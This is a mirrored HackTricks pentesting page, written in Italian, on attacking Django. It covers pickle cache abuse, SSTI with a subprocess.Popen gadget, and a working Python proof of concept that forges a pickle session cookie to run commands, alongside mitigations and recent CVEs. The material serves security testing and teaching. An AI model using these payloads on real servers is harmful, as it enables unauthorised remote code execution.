mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
5.3 KiB
Markdown
80 lines
5.3 KiB
Markdown
# Django
|
||
|
||
{{#include /src/banners/hacktricks-training.md}}
|
||
|
||
## Manipolazione della Cache per RCE
|
||
Il metodo di archiviazione della cache predefinito di Django è [Python pickles](https://docs.python.org/3/library/pickle.html), che può portare a RCE se [l'input non attendibile viene de-pickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se un attaccante riesce a ottenere accesso in scrittura alla cache, può elevare questa vulnerabilità a RCE sul server sottostante**.
|
||
|
||
La cache di Django è memorizzata in uno dei quattro luoghi: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memoria](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [file](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), o un [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). La cache memorizzata in un server Redis o in un database è la più probabile vettore d'attacco (iniezione Redis e iniezione SQL), ma un attaccante potrebbe anche essere in grado di utilizzare la cache basata su file per trasformare una scrittura arbitraria in RCE. I manutentori hanno contrassegnato questo come un non-problema. È importante notare che la cartella dei file di cache, il nome della tabella SQL e i dettagli del server Redis varieranno in base all'implementazione.
|
||
|
||
Questo rapporto di HackerOne fornisce un ottimo esempio riproducibile di sfruttamento della cache di Django memorizzata in un database SQLite: https://hackerone.com/reports/1415436
|
||
|
||
---
|
||
|
||
## Iniezione di Template lato Server (SSTI)
|
||
Il Django Template Language (DTL) è **Turing-completo**. Se i dati forniti dall'utente vengono resi come una *stringa di template* (ad esempio chiamando `Template(user_input).render()` o quando `|safe`/`format_html()` rimuove l'auto-escaping), un attaccante può ottenere SSTI completo → RCE.
|
||
|
||
### Rilevamento
|
||
1. Cerca chiamate dinamiche a `Template()` / `Engine.from_string()` / `render_to_string()` che includano *qualsiasi* dato di richiesta non sanitizzato.
|
||
2. Invia un payload basato su tempo o aritmetico:
|
||
```django
|
||
{{7*7}}
|
||
```
|
||
Se l'output reso contiene `49`, l'input è compilato dal motore di template.
|
||
|
||
### Primitiva a RCE
|
||
Django blocca l'accesso diretto a `__import__`, ma il grafo degli oggetti Python è raggiungibile:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()}}
|
||
```
|
||
Trova l'indice di `subprocess.Popen` (≈400–500 a seconda della build di Python) ed esegui comandi arbitrari:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||
```
|
||
Un gadget universale più sicuro è iterare fino a `cls.__name__ == 'Popen'`.
|
||
|
||
Lo stesso gadget funziona per le funzionalità di rendering dei template di **Debug Toolbar** o **Django-CMS** che gestiscono male l'input dell'utente.
|
||
|
||
---
|
||
|
||
## RCE con Cookie di Sessione Basato su Pickle
|
||
Se l'impostazione `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` è abilitata (o un serializer personalizzato che deserializza pickle), Django *decritta e deserializza* il cookie di sessione **prima** di chiamare qualsiasi codice di vista. Pertanto, possedere una chiave di firma valida (il `SECRET_KEY` del progetto per impostazione predefinita) è sufficiente per un'immediata esecuzione remota di codice.
|
||
|
||
### Requisiti per l'Exploit
|
||
* Il server utilizza `PickleSerializer`.
|
||
* L'attaccante conosce / può indovinare `settings.SECRET_KEY` (leak tramite GitHub, `.env`, pagine di errore, ecc.).
|
||
|
||
### Prova di Concetto
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from django.contrib.sessions.serializers import PickleSerializer
|
||
from django.core import signing
|
||
import os, base64
|
||
|
||
class RCE(object):
|
||
def __reduce__(self):
|
||
return (os.system, ("id > /tmp/pwned",))
|
||
|
||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||
print(f"sessionid={mal}")
|
||
```
|
||
Invia il cookie risultante e il payload viene eseguito con i permessi del worker WSGI.
|
||
|
||
**Mitigazioni**: Mantieni il `JSONSerializer` predefinito, ruota `SECRET_KEY` e configura `SESSION_COOKIE_HTTPONLY`.
|
||
|
||
---
|
||
|
||
## Recenti (2023-2025) CVE Django ad Alto Impatto che i Pentester Dovrebbero Controllare
|
||
* **CVE-2025-48432** – *Iniezione di Log tramite `request.path` non escapato* (risolto il 4 giugno 2025). Consente agli attaccanti di introdurre nuove righe/codici ANSI nei file di log e avvelenare l'analisi dei log a valle. Livello di patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||
* **CVE-2024-42005** – *Iniezione SQL critica* in `QuerySet.values()/values_list()` su `JSONField` (CVSS 9.8). Crea chiavi JSON per uscire dalle virgolette ed eseguire SQL arbitrario. Risolto in 4.2.15 / 5.0.8.
|
||
|
||
Fingerprint sempre la versione esatta del framework tramite la pagina di errore `X-Frame-Options` o l'hash di `/static/admin/css/base.css` e testa quanto sopra dove applicabile.
|
||
|
||
---
|
||
|
||
## Riferimenti
|
||
* Rilascio di sicurezza Django – "Django 5.2.2, 5.1.10, 4.2.22 affrontano CVE-2025-48432" – 4 giu 2025.
|
||
* OP-Innovate: "Django rilascia aggiornamenti di sicurezza per affrontare il difetto di iniezione SQL CVE-2024-42005" – 11 ago 2024.
|
||
|
||
{{#include /src/banners/hacktricks-training.md}}
|